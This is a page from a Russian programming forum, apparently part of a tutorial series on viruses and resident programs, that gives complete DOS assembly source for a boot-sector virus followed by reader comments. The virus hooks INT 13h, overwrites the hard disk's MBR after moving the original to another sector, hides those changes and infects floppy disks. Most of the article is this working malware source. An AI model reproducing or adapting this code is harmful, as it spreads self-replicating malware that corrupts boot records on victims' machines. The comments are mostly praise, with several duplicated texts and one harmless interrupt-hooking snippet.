CodeNet / Языки программирования / Ассемблер / "Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Вот готовая программа:
-----------------------------------------------------------¬
¦ пример 23 ¦:
L-----------------------------------------------------------
.286p
TITLE Это - COM. программа N23 -- примитивный бутовый вирус
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
; ;внимание! -- при имплан-
; ; тации в область MBR
; ; сектор должен заканчиваться
; ; сигнфтурой 55AAh
;
Code_begining:CLI ;¬
XOR AX,AX ;+SS:SP = 0000:7C00
MOV SS,AX ;¦ перед областью
MOV SP,7C00h ;- загруженного кода
MOV SI,SP ;SI = 7C00
MOV DS,AX ;DS = 0
STI ;AX = 0
;
MOV BX,word ptr DS:[0413h] ;¬количество свободной
DEC BX ;+памяти уменшилось на 1 Кб
MOV word ptr DS:[0413h],BX ;-
SHL BX,06 ;TES = сегмент начала свобод-
MOV ES,BX ;- ной памяти
XOR DI,DI ;DI = 0
MOV CX,0100h ;¬
CLD ;+пересылаем данный сектор
REPNE MOVSW ;- в освобожден. область
;
PUSH ES ;¬
MOV BX,Continue_work-Code_begining;+продолжаем выполнение уже
PUSH BX ;¦ в пересланном коде
RETF ;-
;
;
Continue_work:MOV DX,0080h ;¬ side 0 disk 1
MOV CX,0001h ;¦ cyl 0 sect 7
MOV BX,7C00h ;¦
PUSH DS ;¦читаем MBR винчестера
POP ES ;+(001) в буфер по адресу
MOV AX,0201h ;¦ 0000:7C00h
INT 13h ;-
;
MOV AX,word ptr DS:[4Ch] ;сохраняем вектор 21h
MOV word ptr CS:[jmp_old_int13-Code_begining+1],AX
MOV AX,word ptr DS:[4Eh]
MOV word ptr CS:[jmp_old_int13-Code_begining+3],AX
CLI
MOV word ptr DS:[4Ch],Resident13_begining-Code_begining
MOV word ptr DS:[4Eh],CS ;перехватываем вектор 21h
STI
;
;
CMP word ptr ES:[7C0Fh],01E8Bh ;¬
JNE treat_it ;+проверяем, есть ли
CMP word ptr ES:[7C18h],0E3C1h ;¦в MBR сигнатура
JE no_treat_it ;-
treat_it: MOV CX,0007h ;¬
MOV AX,0301h ;+перемещаем оригинальн. MBR
INT 13h ;-
;
PUSH CS ;¬
POP ES ;¦
XOR BX,BX ;+замещаем оригинальн. MBR
MOV CX,0001h ;¦собственным кодом
MOV AX,0301h ;¦
INT 13h ;-
no_treat_it: DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h
;
;
Resident13_begining:
CMP DX,0080h ;¬
JNE no_stealth ;¦
CMP CX,0001h ;+включение
JNE no_stealth ;¦stealth-режима
CMP AH,02h ;¦
JNE no_stealth ;¦
MOV CX,0007h ;¦
JMP short jmp_old_int13 ;-
;
no_stealth: CMP DL,01h ;проверка работы с
JA jmp_old_int13 ; дисководами
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
XOR AX,AX ;проверяем, включен ли
MOV ES,AX ; уже мотор дисковода
TEST byte ptr ES:[043Fh],1 ;
JNZ motor_started ;
XOR BX,BX ;¬
PUSH CS ;+обработка дискеты
POP ES ;¦
MOV DH,00 ;¦
MOV CX,0001h ;¦
MOV AX,0301h ;¦
PUSHF ;¦
PUSH CS ;-
CALL jmp_old_int13
motor_started:POP ES
POP DX
POP CX
POP BX
POP AX
jmp_old_int13: ;¬возврат управления DOS-у
DB 0EAh,00,00,00,00 ;-JMP far ????:????h
;
;
Resident_ending:
;
;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Для некоторой оптимизации предусмотрено вот что: резидент заражает дис-
кету только если мотор дисковода еще не включен (самое первое обращение к
дискете).
Оставить комментарий
Комментарии
1.


6 июля 2010, 00:29:42
как скачать статью ???? что бы из компа не читать
2.


25 мая 2006, 23:52:24
Материал-супер!Отличная, превосходная статья!Спасибо автору за классный ликбез!!!
3.


20 февраля 2006, 12:06:02
Кто-нибуть поделитесь ссылкой на литературу и инструментарий
рекомендованый на первой странице ПЛИЗ...
Из всего что перечисоено нашел только :
TASM 5.0
ADF
hiew 7.26
и
Питер Абель. Язык ассемблера для IBM PC и программирования.
рекомендованый на первой странице ПЛИЗ...
Из всего что перечисоено нашел только :
TASM 5.0
ADF
hiew 7.26
и
Питер Абель. Язык ассемблера для IBM PC и программирования.
4.


30 декабря 2005, 13:45:58
Как делать резидентными exe-шники???
Я замучался с этим!
Если можете дать ответ, то чиркните его мне на mail:
Meatcoins@rambler.ru
Заранее спасибо!!!
Я замучался с этим!
Если можете дать ответ, то чиркните его мне на mail:
Meatcoins@rambler.ru
Заранее спасибо!!!
5.


30 декабря 2005, 13:43:29
Почему-то эта програмка не работает!!!
.model small
.stack 100h
.code
start:
jmp initial
gio: dd 0
treater:
push ax
mov ax,0007h
int 29h
pop ax
;pushf
;push cs
;push dx
jmp dword ptr cs:[gio]
;popf
endu:
initial:
xor ax,ax
mov ds,ax
mov ax,ds:[21h*4]
mov word ptr cs:[gio],ax
mov ax,ds:[21h*4+2]
mov word ptr cs:[gio+2],ax
mov ax,offset treater
mov word ptr ds:[21h*4],ax
mov ax,dgroup
mov word ptr ds:[21h*4+2],ax
;mov ax,2700h
mov dx,offset endu
int 27h
;mov ax,4C00h
;int 21h
end start
.model small
.stack 100h
.code
start:
jmp initial
gio: dd 0
treater:
push ax
mov ax,0007h
int 29h
pop ax
;pushf
;push cs
;push dx
jmp dword ptr cs:[gio]
;popf
endu:
initial:
xor ax,ax
mov ds,ax
mov ax,ds:[21h*4]
mov word ptr cs:[gio],ax
mov ax,ds:[21h*4+2]
mov word ptr cs:[gio+2],ax
mov ax,offset treater
mov word ptr ds:[21h*4],ax
mov ax,dgroup
mov word ptr ds:[21h*4+2],ax
;mov ax,2700h
mov dx,offset endu
int 27h
;mov ax,4C00h
;int 21h
end start
6.


2 декабря 2005, 04:35:52
Из самых искренних чуйств спасибо людям, которые енто сколбасили. Hasta la victoria siemre!
7.


2 декабря 2005, 04:32:55
мдя... я рад... мдя-а-а... :) гы..
будим теперь всей брагой грызть гранит, который качали около часа... ну спасибки ребята!!! Ничё подобного не мог найти, а тут нате вам.
будим теперь всей брагой грызть гранит, который качали около часа... ну спасибки ребята!!! Ничё подобного не мог найти, а тут нате вам.
8.


27 сентября 2005, 01:04:39
Мммда-с, хорошие "вредные" советы. спасибочки-с. Разбиваю здесь свой лагерь.
9.


13 сентября 2005, 05:51:23
чуваки я вам благодарен поучусь немного попрактикуюсь и надеюсь примкну к вашему числу
10.


18 июля 2005, 03:58:31
Класно! Хотелось бы еще чего-нибудь в таком же стиле.
11.


7 марта 2005, 03:51:37
...хотел добавить ...прочел все и всечто я сказал относится ко всему....ну блин офигенный сайт!!!!!!!!!!!
Все!!! Я здесь живу.....
P.S.: "встанем стеной антихакерской,
против дурного народа,
тот что решил все сломать,
зубы сломает об нас..."
Все!!! Я здесь живу.....
P.S.: "встанем стеной антихакерской,
против дурного народа,
тот что решил все сломать,
зубы сломает об нас..."
12.


7 марта 2005, 03:45:10
Зесь не только надо сказать спасибо, я блин уважаю того кто это написал...Так держать!.....мне такая информация .... во как нужна... нигде не мог найти,а сдесь....все если чё парни,я на вашей стороне все предложения прошу отсылать на мыльник.....а вообще это крута!!!!!!!!!!!!!!!!
13.


2 марта 2005, 00:27:42
да, действительно стоит сказать спасибо!
;)
;)
14.


11 февраля 2005, 00:30:34
ну и статейка....я ее несколько часов качал...теперь главное разобраться....мне ее на несколько недель хватит....
P.S.
молодцы!
P.S.
молодцы!
